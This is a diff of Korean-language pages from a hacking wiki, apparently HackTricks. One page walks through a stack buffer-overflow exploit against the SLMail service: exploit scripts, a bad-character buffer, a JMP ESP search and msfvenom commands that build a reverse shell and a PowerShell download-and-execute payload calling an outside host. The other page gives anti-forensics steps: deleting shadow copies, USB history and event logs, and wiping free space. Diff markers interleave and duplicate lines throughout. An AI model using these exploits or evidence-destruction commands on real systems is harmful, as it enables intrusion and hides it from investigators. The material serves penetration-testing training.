* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **SLMail 서비스 설치 시작**
|
||||
|
||||
## SLMail 서비스 재시작
|
||||
## SLMail 서비스 다시 시작
|
||||
|
||||
**SLMail 서비스를 재시작해야 할 때마다** Windows 콘솔을 사용하여 수행할 수 있습니다:
|
||||
**SLMail 서비스를 다시 시작해야 할 때마다** 윈도우 콘솔을 사용하여 수행할 수 있습니다:
|
||||
```
|
||||
net start slmail
|
||||
```
|
||||
![](<../.gitbook/assets/image (23) (1).png>)
|
||||
|
||||
## 매우 기본적인 파이썬 악용 템플릿
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import socket
|
||||
|
||||
# Set the target IP and port
|
||||
target_ip = "192.168.1.10"
|
||||
target_port = 1337
|
||||
|
||||
# Create a socket object
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
# Connect to the target
|
||||
s.connect((target_ip, target_port))
|
||||
|
||||
# Send the payload
|
||||
payload = b"AAAAAABBBBBBCCCCC"
|
||||
s.send(payload)
|
||||
|
||||
# Close the connection
|
||||
s.close()
|
||||
```
|
||||
|
||||
This is a very basic template for creating a Python exploit. It demonstrates how to create a socket object, connect to a target IP and port, send a payload, and close the connection.
|
||||
|
||||
To use this template, you need to set the `target_ip` and `target_port` variables to the IP address and port of your target. You can then customize the payload to suit your needs.
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
|
@ -93,15 +67,16 @@ print "Could not connect to "+ip+":"+port
|
|||
|
||||
## EIP를 수정하기 위한 패턴 생성
|
||||
|
||||
패턴은 이전에 서비스를 중단시키기 위해 사용한 버퍼와 같은 크기여야 합니다.
|
||||
패턴은 이전에 서비스를 중단하는 데 사용한 버퍼만큼 커야 합니다.
|
||||
|
||||
![](<../.gitbook/assets/image (26) (1) (1).png>)
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||||
```
|
||||
버퍼를 변경하고 패턴을 설정하고 exploit을 실행합니다.
|
||||
```
|
||||
버퍼를 변경하고 패턴을 설정한 후 exploit을 실행합니다.
|
||||
|
||||
새로운 충돌이 발생해야 하지만 EIP 주소가 다릅니다:
|
||||
새로운 충돌이 발생해야 하지만 다른 EIP 주소가 표시됩니다:
|
||||
|
||||
![](<../.gitbook/assets/image (27) (1) (1).png>)
|
||||
|
||||
|
@ -109,43 +84,44 @@ print "Could not connect to "+ip+":"+port
|
|||
|
||||
![](<../.gitbook/assets/image (28) (1) (1).png>)
|
||||
```
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||||
```
|
||||
다음은 버퍼의 오프셋 2606에서 EIP를 수정할 수 있는 것 같습니다.
|
||||
다음은 버퍼의 오프셋 2606에서 **EIP를 수정할 수 있는 것으로 보입니다**.
|
||||
|
||||
다음은 exploit의 버퍼를 수정하여 확인해보세요:
|
||||
공격의 버퍼를 수정하여 확인해보세요:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||||
```
|
||||
이 버퍼로 EIP가 충돌하면 42424242("BBBB")로 가리켜야 합니다.
|
||||
이 버퍼로 EIP가 충돌하면 42424242("BBBB")를 가리켜야 합니다.
|
||||
|
||||
![](<../.gitbook/assets/image (30) (1) (1).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (29) (1) (1).png>)
|
||||
|
||||
작동하는 것 같습니다.
|
||||
작동하는 것으로 보입니다.
|
||||
|
||||
## 스택 내부에서 쉘코드 공간 확인
|
||||
## 스택 내부의 셸코드 공간 확인
|
||||
|
||||
600B는 강력한 쉘코드에 충분합니다.
|
||||
600B는 강력한 셸코드에 충분합니다.
|
||||
|
||||
버퍼를 변경해봅시다.
|
||||
버퍼를 변경해 봅시다:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||||
```
|
||||
새로운 exploit을 실행하고 유용한 shellcode의 EBP와 길이를 확인하십시오.
|
||||
새로운 익스플로잇을 실행하고 EBP와 유용한 쉘코드의 길이를 확인합니다.
|
||||
|
||||
![](<../.gitbook/assets/image (31) (1).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (32) (1).png>)
|
||||
|
||||
취약점에 도달하면 EBP가 shellcode를 가리키고 여기에 shellcode를 배치할 공간이 많음을 볼 수 있습니다.
|
||||
취약점에 도달하면 EBP가 쉘코드를 가리키고 여기에 쉘코드를 배치할 공간이 많이 있다는 것을 볼 수 있습니다.
|
||||
|
||||
이 경우 **0x0209A128에서 0x0209A2D6까지 = 430B**입니다. 충분합니다.
|
||||
이 경우 **0x0209A128부터 0x0209A2D6까지 = 430B**입니다. 충분합니다.
|
||||
|
||||
## 나쁜 문자 확인
|
||||
|
||||
버퍼를 다시 변경하세요.
|
||||
버퍼를 다시 변경하세요:
|
||||
```
|
||||
badchars = (
|
||||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||||
|
@ -167,27 +143,29 @@ badchars = (
|
|||
)
|
||||
buffer = 'A'*2606 + 'BBBB' + badchars
|
||||
```
|
||||
나쁜 문자열은 대부분 나쁜 문자인 0x00부터 시작합니다.
|
||||
```
|
||||
badchars는 0x00이 거의 항상 나쁘기 때문에 0x01에서 시작합니다.
|
||||
|
||||
이 새로운 버퍼로 exploit을 반복해서 실행하면서 쓸모없는 문자를 삭제하세요.
|
||||
이 새로운 버퍼로 exploit을 반복적으로 실행하면 발견된 쓸모없는 문자를 삭제합니다:.
|
||||
|
||||
예를 들어:
|
||||
|
||||
이 경우 **문자 0x0A를 사용하지 않아야 합니다** (문자 0x09 이후에는 메모리에 저장되지 않음).
|
||||
이 경우에는 **문자 0x0A를 사용해서는 안 된다는 것을 알 수 있습니다** (문자 0x09는 메모리에 저장되지 않음).
|
||||
|
||||
![](<../.gitbook/assets/image (33) (1).png>)
|
||||
|
||||
이 경우 **문자 0x0D를 피해야 합니다**:
|
||||
이 경우에는 **문자 0x0D가 피해야 함**:
|
||||
|
||||
![](<../.gitbook/assets/image (34) (1).png>)
|
||||
|
||||
## 반환 주소로 JMP ESP 찾기
|
||||
|
||||
사용 중인:
|
||||
사용:
|
||||
```
|
||||
```
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
```
|
||||
당신은 **메모리 맵을 나열**할 것입니다. 다음과 같은 조건을 충족하는 DLL을 찾으세요:
|
||||
다음은 **메모리 맵을 나열**합니다. 다음을 가진 DLL을 검색하십시오:
|
||||
|
||||
* **Rebase: False**
|
||||
* **SafeSEH: False**
|
||||
|
@ -197,25 +175,25 @@ buffer = 'A'*2606 + 'BBBB' + badchars
|
|||
|
||||
![](<../.gitbook/assets/image (35) (1).png>)
|
||||
|
||||
이제 이 메모리 내에서 JMP ESP 바이트를 찾아야 합니다. 이를 위해 다음을 실행하세요:
|
||||
이제 이 메모리 내에서 일부 JMP ESP 바이트를 찾아야 합니다. 이를 위해 실행하십시오:
|
||||
```
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||||
```
|
||||
**그런 다음, 주소를 찾으면 어떤 나쁜 문자도 포함하지 않는 주소를 선택하십시오:**
|
||||
**그런 다음, 주소를 찾은 후 나쁜 문자를 포함하지 않는 주소 중 하나를 선택하십시오:**
|
||||
|
||||
![](<../.gitbook/assets/image (36) (1).png>)
|
||||
|
||||
**이 경우, 예를 들어: \_0x5f4a358f**\_
|
||||
**이 경우, 예를 들어: \_0x5f4a358f**\_
|
||||
|
||||
## 쉘코드 생성
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||
```
|
||||
만약 exploit이 작동하지 않지만 작동해야 한다면 (ImDebg로 shellcode가 도달하는 것을 확인할 수 있음), 다른 shellcode를 생성해보세요 (msfvenom은 동일한 매개변수에 대해 다른 shellcode를 생성합니다).
|
||||
만약 exploit이 작동하지 않지만 작동해야 한다면 (ImDebg로 쉘코드에 도달하는 것을 확인할 수 있음), 다른 쉘코드를 생성해 보세요 (동일한 매개변수로 msfvenom을 사용하여 다른 쉘코드를 생성합니다).
|
||||
|
||||
shellcode의 **처음에 NOPS를 추가**하고 이를 사용하여 return 주소로 JMP ESP를 수행하고 exploit을 완료하세요:
|
||||
쉘코드의 **시작 부분에 NOPS를 추가**하고 해당 쉘코드와 return 주소를 사용하여 JMP ESP로 이동한 후 exploit을 완료하세요:
|
||||
```bash
|
||||
#!/usr/bin/python
|
||||
|
||||
|
@ -265,7 +243,7 @@ except:
|
|||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
셸코드는 **자체를 덮어쓰는** 것이 있으므로, 셸코드 앞에 항상 일부 NOP를 추가하는 것이 중요합니다.
|
||||
셸코드가 **자체 덮어씌우기**를 할 수 있는 경우가 있으므로 항상 셸코드 앞에 일부 NOP를 추가하는 것이 중요합니다.
|
||||
{% endhint %}
|
||||
|
||||
## 셸코드 개선하기
|
||||
|
@ -274,16 +252,17 @@ print "Could not connect to "+ip+":"+port
|
|||
```
|
||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 실습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 **Discord 그룹**에 **가입**하세요(https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유**하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 가입하거나 [**텔레그램 그룹**](https://t.me/peass) 참여 또는 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 팔로우하기**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령 공유하기.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -22,7 +23,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
공격자는 **파일의 타임스탬프를 변경**하여 감지를 피하려 할 수 있습니다.\
|
||||
MFT 내부의 타임스탬프를 찾을 수 있습니다. 이는 `$STANDARD_INFORMATION` 및 `$FILE_NAME` 속성에 있습니다.
|
||||
|
||||
두 속성에는 **수정**, **액세스**, **생성**, **MFT 레지스트리 수정** (MACE 또는 MACB)의 4가지 타임스탬프가 있습니다.
|
||||
두 속성에는 **수정**, **액세스**, **생성**, **MFT 레지스트리 수정**(MACE 또는 MACB)에 대한 4가지 타임스탬프가 있습니다.
|
||||
|
||||
**Windows 탐색기** 및 기타 도구는 **`$STANDARD_INFORMATION`**에서 정보를 표시합니다.
|
||||
|
||||
|
@ -32,7 +33,7 @@ MFT 내부의 타임스탬프를 찾을 수 있습니다. 이는 `$STANDARD_INFO
|
|||
|
||||
## Usnjrnl
|
||||
|
||||
**USN Journal** (Update Sequence Number Journal)은 NTFS (Windows NT 파일 시스템)의 기능으로 볼륨 변경을 추적합니다. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) 도구를 사용하여 이러한 변경 사항을 검사할 수 있습니다.
|
||||
**USN Journal**(Update Sequence Number Journal)은 NTFS(Windows NT 파일 시스템)의 기능으로 볼륨 변경 사항을 추적합니다. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) 도구를 사용하여 이러한 변경 사항을 검사할 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (449).png>)
|
||||
|
||||
|
@ -40,19 +41,19 @@ MFT 내부의 타임스탬프를 찾을 수 있습니다. 이는 `$STANDARD_INFO
|
|||
|
||||
## $LogFile
|
||||
|
||||
파일 시스템의 모든 메타데이터 변경 사항은 [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging)이라는 프로세스에서 **로그됩니다**. 로그된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 위치한 `**$LogFile**`이라는 파일에 유지됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다.
|
||||
파일 시스템의 모든 메타데이터 변경 사항은 [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging) 프로세스에서 **로그됩니다**. 로그된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 위치한 `**$LogFile**`이라는 파일에 유지됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (450).png>)
|
||||
|
||||
도구의 출력에서 다시 **일부 변경이 수행**된 것을 확인할 수 있습니다.
|
||||
|
||||
동일한 도구를 사용하여 **타임스탬프가 수정된 시간을 식별**할 수 있습니다:
|
||||
동일한 도구를 사용하여 타임스탬프가 **언제 수정되었는지** 식별할 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (451).png>)
|
||||
|
||||
* CTIME: 파일 생성 시간
|
||||
* ATIME: 파일 수정 시간
|
||||
* MTIME: 파일의 MFT 레지스트리 수정
|
||||
* MTIME: 파일 MFT 레지스트리 수정
|
||||
* RTIME: 파일 액세스 시간
|
||||
|
||||
## `$STANDARD_INFORMATION` 및 `$FILE_NAME` 비교
|
||||
|
@ -61,7 +62,7 @@ MFT 내부의 타임스탬프를 찾을 수 있습니다. 이는 `$STANDARD_INFO
|
|||
|
||||
## 나노초
|
||||
|
||||
**NTFS** 타임스탬프는 **100 나노초의 정밀도**를 갖습니다. 따라서 2010-10-10 10:10:**00.000:0000과 같은 타임스탬프가있는 파일을 찾는 것은 매우 의심스러울 수 있습니다.
|
||||
**NTFS** 타임스탬프는 **100 나노초의 정밀도**를 갖습니다. 따라서 2010-10-10 10:10:**00.000:0000과 같은 타임스탬프가 있는 파일을 찾는 것은 매우 의심스러울 수 있습니다**.
|
||||
|
||||
## SetMace - 안티 포렌식 도구
|
||||
|
||||
|
@ -69,22 +70,22 @@ MFT 내부의 타임스탬프를 찾을 수 있습니다. 이는 `$STANDARD_INFO
|
|||
|
||||
# 데이터 숨김
|
||||
|
||||
NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 사용하는 경우 **파일이 삭제될 때까지 남은 반은 사용되지 않을 수 있습니다**. 그럼으로 이 "숨겨진" 공간에 데이터를 **숨길 수 있습니다**.
|
||||
NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 사용하는 경우 **파일이 삭제될 때까지 남은 반은 사용되지 않을 수 있습니다**. 따라서 이 "숨겨진" 공간에 데이터를 **숨길 수 있습니다**.
|
||||
|
||||
이러한 "숨겨진" 공간에 데이터를 숨기는 것을 허용하는 slacker와 같은 도구가 있습니다. 그러나 `$logfile` 및 `$usnjrnl`의 분석을 통해 일부 데이터가 추가되었음을 확인할 수 있습니다:
|
||||
슬래커와 같은 도구를 사용하여 이 "숨겨진" 공간에 데이터를 숨길 수 있습니다. 그러나 `$logfile` 및 `$usnjrnl`의 분석을 통해 일부 데이터가 추가되었음을 확인할 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (452).png>)
|
||||
|
||||
그런 다음 FTK Imager와 같은 도구를 사용하여 슬랙 공간을 검색할 수 있습니다. 이러한 유형의 도구는 콘텐츠를 난독화하거나 암호화 할 수 있습니다.
|
||||
그런 다음 FTK Imager와 같은 도구를 사용하여 슬랙 공간을 검색할 수 있습니다. 이러한 유형의 도구는 콘텐츠를 난독화하거나 암호화할 수 있습니다.
|
||||
|
||||
# UsbKill
|
||||
|
||||
이 도구는 USB 포트에 변경 사항이 감지되면 컴퓨터를 **끕니다**.\
|
||||
이 도구는 USB 포트의 변경 사항이 감지되면 컴퓨터를 **종료**합니다.\
|
||||
이를 발견하는 방법은 실행 중인 프로세스를 검사하고 **실행 중인 각 파이썬 스크립트를 검토**하는 것입니다.
|
||||
|
||||
# 라이브 Linux 배포
|
||||
|
||||
이러한 배포판은 **RAM 메모리 내에서 실행**됩니다. NTFS 파일 시스템이 쓰기 권한으로 마운트된 경우에만 감지할 수 있습니다. 읽기 권한으로만 마운트되어 있으면 침입을 감지할 수 없습니다.
|
||||
이러한 배포판은 **RAM 메모리 내에서 실행**됩니다. NTFS 파일 시스템이 쓰기 권한으로 마운트된 경우에만 감지할 수 있습니다. 읽기 권한으로만 마운트된 경우 침입을 감지할 수 없습니다.
|
||||
|
||||
# 안전한 삭제
|
||||
|
||||
|
@ -107,31 +108,28 @@ UserAssist를 비활성화하려면 두 단계가 필요합니다:
|
|||
|
||||
이는 Windows 시스템의 성능을 향상시키기 위해 실행된 응용 프로그램에 대한 정보를 저장합니다. 그러나 이는 포렌식 실무에도 유용할 수 있습니다.
|
||||
|
||||
* `regedit`를 실행합니다
|
||||
* 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`를 선택합니다
|
||||
* `EnablePrefetcher` 및 `EnableSuperfetch`에서 마우스 오른쪽 버튼을 클릭합니다
|
||||
* 각각을 수정하려면 1(또는 3)에서 0으로 값을 변경합니다
|
||||
* 다시 시작합니다
|
||||
* `regedit` 실행
|
||||
* 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` 선택
|
||||
* `EnablePrefetcher` 및 `EnableSuperfetch`를 마우스 오른쪽 버튼 클릭
|
||||
* 각각의 수정을 선택하여 값을 1(또는 3)에서 0으로 변경
|
||||
* 재부팅
|
||||
|
||||
## 타임스탬프 비활성화 - 마지막 액세스 시간
|
||||
|
||||
Windows NT 서버의 NTFS 볼륨에서 폴더가 열릴 때 시스템은 **각 목록된 폴더의 타임스탬프 필드를 업데이트**하는 시간을 취합니다. 이를 마지막 액세스 시간이라고합니다. 사용 빈도가 높은 NTFS 볼륨에서는 성능에 영향을 줄 수 있습니다.
|
||||
Windows NT 서버의 NTFS 볼륨에서 폴더를 열 때 시스템은 **각 목록된 폴더의 타임스탬프 필드를 업데이트**하는 시간을 취합니다. 이를 마지막 액세스 시간이라고 합니다. 사용 빈도가 높은 NTFS 볼륨에서는 성능에 영향을 줄 수 있습니다.
|
||||
|
||||
1. 레지스트리 편집기(Regedit.exe)를 엽니다.
|
||||
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`로 이동합니다.
|
||||
3. `NtfsDisableLastAccessUpdate`를 찾습니다. 존재하지 않으면이 DWORD를 추가하고 값을 1로 설정하여 프로세스를 비활성화합니다.
|
||||
1. 레지스트리 편집기(Regedit.exe) 열기
|
||||
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`로 이동
|
||||
3. `NtfsDisableLastAccessUpdate`를 찾습니다. 존재하지 않으면 이 DWORD를 추가하고 값을 1로 설정하여 프로세스를 비활성화합니다.
|
||||
4. 레지스트리 편집기를 닫고 서버를 다시 시작합니다.
|
||||
## USB 히스토리 삭제
|
||||
|
||||
모든 **USB 장치 항목**은 Windows 레지스트리에 **USBSTOR** 레지스트리 키 아래에 저장되어 있습니다. 이 키에는 PC나 노트북에 USB 장치를 연결할 때마다 생성되는 하위 키가 포함되어 있습니다. 이 키는 여기에서 찾을 수 있습니다: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **이를 삭제**하면 USB 히스토리가 삭제됩니다.\
|
||||
또한 [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) 도구를 사용하여 삭제 여부를 확인하고 삭제할 수 있습니다.
|
||||
|
||||
USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내부의 `setupapi.dev.log` 파일입니다. 이 파일도 삭제해야 합니다.
|
||||
모든 **USB 장치 항목**은 Windows 레지스트리에 **USBSTOR** 레지스트리 키 아래에 저장되어 있습니다. 이 키에는 PC나 노트북에 USB 장치를 연결할 때마다 생성되는 하위 키가 포함되어 있습니다. 이 키는 여기에서 찾을 수 있습니다 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **이를 삭제**하면 USB 히스토리가 삭제됩니다.\
|
||||
또한 USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내부의 `setupapi.dev.log` 파일입니다. 이 파일도 삭제해야 합니다.
|
||||
|
||||
## 그림자 복사본 비활성화
|
||||
|
||||
`vssadmin list shadowstorage`로 그림자 복사본을 **목록**화합니다.\
|
||||
`vssadmin delete shadow`를 실행하여 그림자 복사본을 **삭제**합니다.
|
||||
`vssadmin list shadowstorage`로 그림자 복사본을 **목록**화하고 `vssadmin delete shadow`를 실행하여 **삭제**할 수 있습니다.
|
||||
|
||||
또한 [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)에서 제안된 단계를 따라 GUI를 통해 그림자 복사본을 삭제할 수도 있습니다.
|
||||
|
||||
|
@ -139,13 +137,13 @@ USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내
|
|||
|
||||
1. Windows 시작 버튼을 클릭한 후 텍스트 검색 상자에 "services"를 입력하여 서비스 프로그램을 엽니다.
|
||||
2. 목록에서 "Volume Shadow Copy"를 찾아 선택한 다음 마우스 오른쪽 버튼을 클릭하여 속성에 액세스합니다.
|
||||
3. "시작 유형" 드롭다운 메뉴에서 "비활성화"를 선택한 다음 변경을 확인하기 위해 적용 및 확인을 클릭합니다.
|
||||
3. "시작 유형" 드롭다운 메뉴에서 "비활성화"를 선택한 다음 변경 사항을 확인하기 위해 적용 및 확인을 클릭합니다.
|
||||
|
||||
그림자 복사본에서 복사할 파일의 구성을 수정하는 것도 가능합니다. 레지스트리 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`에서 이를 수행할 수 있습니다.
|
||||
그림자 복사본에서 복사할 파일의 구성을 수정할 수도 있습니다. 레지스트리 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`에서 이를 수행할 수 있습니다.
|
||||
|
||||
## 삭제된 파일 덮어쓰기
|
||||
|
||||
* **Windows 도구**인 `cipher /w:C`를 사용할 수 있습니다. 이를 통해 cipher에게 C 드라이브 내의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 지시할 수 있습니다.
|
||||
* **Windows 도구**를 사용할 수 있습니다: `cipher /w:C` 이 명령은 암호를 사용하여 C 드라이브 내의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 지시합니다.
|
||||
* [**Eraser**](https://eraser.heidi.ie)와 같은 도구도 사용할 수 있습니다.
|
||||
|
||||
## Windows 이벤트 로그 삭제
|
||||
|
@ -169,16 +167,17 @@ USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 팔로우하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
